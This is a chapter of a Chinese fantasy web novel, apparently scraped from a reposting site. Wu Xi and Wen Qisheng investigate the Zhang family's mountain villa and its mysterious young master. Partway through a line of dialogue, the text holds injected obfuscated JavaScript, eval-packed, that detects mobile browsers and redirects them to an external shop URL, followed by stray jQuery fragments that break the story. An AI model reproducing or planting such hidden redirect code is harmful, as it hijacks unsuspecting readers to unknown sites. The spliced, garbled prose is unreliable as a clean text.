文趣网 > 其他小说 > 隐鹿溺雪 > 13. 珠串
    巫羲看着小公子不自觉抠着墙的手,问道:“小天是谁?”

    孩童似乎是才反应过来自己说错话了一般,猛的抬手捂住了嘴,然后慌乱的摇了摇头,看了她几眼又马上跑开了。

    他刚出去,便被四处寻找他的婢女发现,过来抱起他,喊道:“小公子在这里!”

    巫羲摸了摸自己的眼角,转身避开人群翻出院墙,白昼逐渐吞没黑夜,守卫已经没有夜里那么多,她顺利的按着原路下了山,期间还碰见过下山采买的家仆。

    等她到达客栈房间的时候,天已经彻底亮了。按着闻祈笙平常亥时休寅时起的作息,他就是睡懒觉,此时也该醒了。她没走门,踩着屋檐打算直接翻窗进屋,窗户半掩着,和她刚离开的时候一样。

    她抬手轻轻从外面打开,因为不确定屋里是否有人,为了尽量不发出任何声音,因此窗户开得极慢,真正开出一条足以巫羲看清室内的缝隙时,缝隙露出了一抹白色的布料。

    巫羲的手顿了一下,心脏被提起来,感觉不太妙。于是手上的力道转变了方向,改为关上窗户,谁知动作刚进行一秒,一只修长有力的手从缝隙伸出来,替她打开了窗户,露出了闻祈笙面无表情的脸。

    他说:“去哪里回来?”

    还没等巫羲回答,闻祈笙低沉的嗓音里带了些冷意,他道:“进来。”

    “……”

    这是生气了?这个反应,难道他没去张府别院?

    巫羲有点心虚,从窗户进去,她刚一落地,“啪”的一声,闻祈笙把窗关上了。

    然后转身坐在桌子旁边,给自己倒了杯茶,也不喝,就这么放在桌上,他眉头微蹙,对傻愣着站在窗边的巫羲说道:“站在那里做什么?过来坐。”

    巫羲舔了舔唇,正好也渴了,走过去坐在他对面,自顾自给自己倒了杯茶,喝了一口。

    好苦。

    屋里静得可怕,巫羲试图打破这寂静,开始没话找话,她说:“你昨晚去哪了?我醒来看不见你。”

    “所以就出去找了找……”

    闻祈笙道:“去哪里找,张府的别院?”

    “你没去?”巫羲注意力自动偏离,只听自己想听的。

    “……我当然没去。”闻祈笙抬眼扫了她一下,又道:“看来收获不小。”

    巫羲跟着低头看了自己一眼,反应过来,他指的是自己身上的衣服。

    “……”巫羲抿了抿唇,试图开始为自己辩解,“我昨天半夜醒来,没看见你,以为你去张府别院了,让一个人应付不过来,想着过去帮帮你……”

    她说完开始倒打一耙,“那我昨天醒来还没看见你呢,你当时去哪了?要是你留个消息告诉我,我肯定不会以为你去边院,然后大半夜上山了。再说这次我又没自己跑了,我这不是……回来了嘛?”

    “所以我觉得,下次你去哪里你都告诉我,我去哪里我也告诉你,这样就不会引起不必要的误会了嘛。”

    “这次我去别院也不是没有别的收获。”巫羲朝他挑了挑眉,神情得意,示意他问自己有什么收获。

    过了半晌,闻祈笙无动于衷,依然很不高兴,她撇了撇嘴,垂着眼,准备自己继续说下去。

    “什么收获?”

    巫羲立即抬头看他,这人依然面无表情,但好像和之前又不太一样,她说:“眼睛。”

    “我遇到了一个男孩,他看见了我的眼睛,他跟我说他有个朋友叫小天,眼睛也是红色的。”

    “就这样?”闻祈笙看着她的眼睛,问道。

    “……”

    这样还不够吗?

    “还摸清楚了值夜守卫的大概人数,和他们的换班模式,别院内的大体布局……”巫羲想到什么说什么,力图让这次行动看起来不虚此行,最后想不到别的,只好问道:“这样还不够吗?”

    说完打了个哈欠,显然从半夜折腾到现在,人已经困极了。

    “够了。”闻祈笙看着她眼下淡淡的乌青,起身靠过来,右手两指点在她眉心,源源不断的灵力输送过来,流至全身,涌起暖意,变得暖和许多。

    婢女的衣服很单薄,没有她自己的暖和,山中寒凉,要不是她是跑回来的,身体维持暖意,恐怕这次要生病。

    巫羲任由他动作,抬起头让两指更方便的贴着,目光落在闻祈笙的胸前,那里空无一物。

    她目光一凝,着急问道:“你颈间的珠串怎么不见了?”

    别是丢失了或者被人偷了,这东西贵重,抚顶仙门传下来的珍宝,据说是鸿鹿山神明的骨血凝聚而成,与抚顶仙门有些渊源,只传给每一代的少主。

    她的目光随即投向闻祈笙的耳朵,去看那里的耳坠。

    还在。

    巫羲转而看向闻祈笙的脸,闻祈笙神情淡淡,垂着眼和她对视,几秒后,他答非所问道:“恢复正常了,既然困,去换个衣服就可以去补觉了。”

    怎么这个反应,不慌不忙的。

    “你的珠串——”

    闻祈笙拧不过她,伸手轻敲了一下她的头,只好道,“昨夜回了一趟仙门,放在那里了。”

    “嗷。”巫羲揉了揉被他敲的地方,又道:“怎么突然回仙门了?你是忘带了吗,之前一直不离身的,现在没有,我都有点不习惯。”

    “……算是吧。”闻祈笙不当回事,淡淡道。

    什么就算是?

    巫羲欲再追问,却见闻祈笙伸手摘掉她头上的枯叶,“快去洗漱换衣服,我去拿吃的上来。”

    ***

    巫羲满足的补一早上的觉,房间内时而响起轻轻的脚步声,翻书声,时而落针可闻,静得出奇。

    等巫羲醒过来的时候,闻祈笙就在附近坐着。两人收拾一番,闻祈笙施法,带着巫羲消失在原地,不到一刻钟,就出现在同息山的别院内。

    还没入夜,别院内的守卫比起巫羲离开的时候显得更少了。两个人用了隐身符,行走自如,不必像巫羲之前一般躲躲藏藏。他们来到了那个小公子的屋子,里面没人,巫羲打量室内。据张公子所说,小公子体弱多病,因此被安排到别院养伤,可是看这室内的布局,光线明亮,窗户大敞,徐徐凉风吹进,实在像是一个长期生病的人该有的房间。

    所以,张府到底有几个公子?

    闻祈笙祭出符咒,却像是被吞没了似的,原地无风自燃,消失前勉强提示,就是在这附近。

    巫羲轻蹙起眉,问:“怎么了?”

    闻祈笙:“有东西挡着,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636866|206611||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不让它找。”

    “什么东西?”

    “不知道。”闻祈笙看了她一眼,说道:“灵力气味很熟悉。”

    闻祈笙又试了几次,还没成功。正当他准备再试一次,打算强硬破开的时候,巫羲阻止他,说道:“再等等,别惊动他们,也许有办法呢。”

    两人到处寻找,都没有任何线索。看来只能等那位小公子回来,探探他的口风了。

    等了好一会,小公子还没回来,巫羲只好出去寻找。听到一阵银铃般的笑声,于是她跟着声音,来到了一处莺歌燕舞的地方。主座上坐的是一位夫人,那位小公子正坐在那位夫人身边笑着,嗝嗝乐,看起来挺开心的。

    坐在主座旁边的是四个娇滴软弱的美人。

    巫羲猜测,这应该就是张夫人和张公子的几位侍妾。

    一个婢女匆匆与她擦肩而过,直奔主座上的那位夫人,附耳低语,不知说了什么,夫人肃冷的面容微微一变,皱着眉起身离开了。她刚走,四个侍妾俨然也没了兴致,成双成对,也散了。

    两人兵分两路,闻祈笙负责去跟踪那位夫人,巫羲跟上了两个看起来很有性格的两个侍妾,一个穿着粉裙,一个穿着紫裙,小公子则被另外两个侍妾带走了。

    她们的话也很多,有一搭没一搭的聊着天,聊天内容或许与巫羲想知道的内容时而相关,时而毫无关联。

    比如探春楼的糕点,舒颜坊的布料,挽香馆的绣娘如何如何。

    又比如谁家又生了个小公子,如果自己生了小公子怎么办之类的。

    粉裙女子抚摸自己的脸,说道:“若是我生了张家的孙子,没准也可以母凭子贵。不用每天讨好老夫人那张死板的脸。”

    紫裙女子泼了她一桶冷水,直言道:“这可不好说,张府的第一个长孙定是正室所生,看张府新来的那个百花楼的贱人,勾这公子的魂不放,说不来别院老夫人也能恩准,没准将来张府的长孙会从她肚子里出来呢,到时你我还得尊她一声主母。”

    “她让我们在别院的目的不是很明显吗?正室妾室都必须视那小公子如己出。还没有自己的孩子呢,就得先拿别人家的儿子来养?”

    粉裙笑了笑,说:“老话说,长嫂如母,我倒是不太介意。”

    “啧。”紫裙女子恨铁不成钢的推了她一下,说道:“那孩子都不是张家的血脉,从同息山下的农户家里带上来养的,我留意过,就是个穷苦人家,贱命一条,能把孩子放到张府来养,也算是好几辈子修来的福分。”

    安息山农户家的孩子?不是故友的孩子吗?

    张府到底有几个公子?听着两人的语气,恐怕并不知道还有一个故友孩子的存在,难道,今天早上那个孩子明面上是张府的小公子,实际上却是那个负责吸引注意的替身,用来掩藏真正的小公子?

    巫羲出神,没注意路上凸起来的路石,绊了一下,为了维持身形站稳脚跟,十分不小心的拔掉了一撮野草。

    “……”

    于是那两个女子听见声音回头,就看见一撮野草被连根拔起,悬在空中,在逐渐暗下的天色,更显诡异。

    她们两个不约而同的尖叫起来,“啊啊啊啊啊啊啊啊啊啊啊啊啊啊。”

    “……”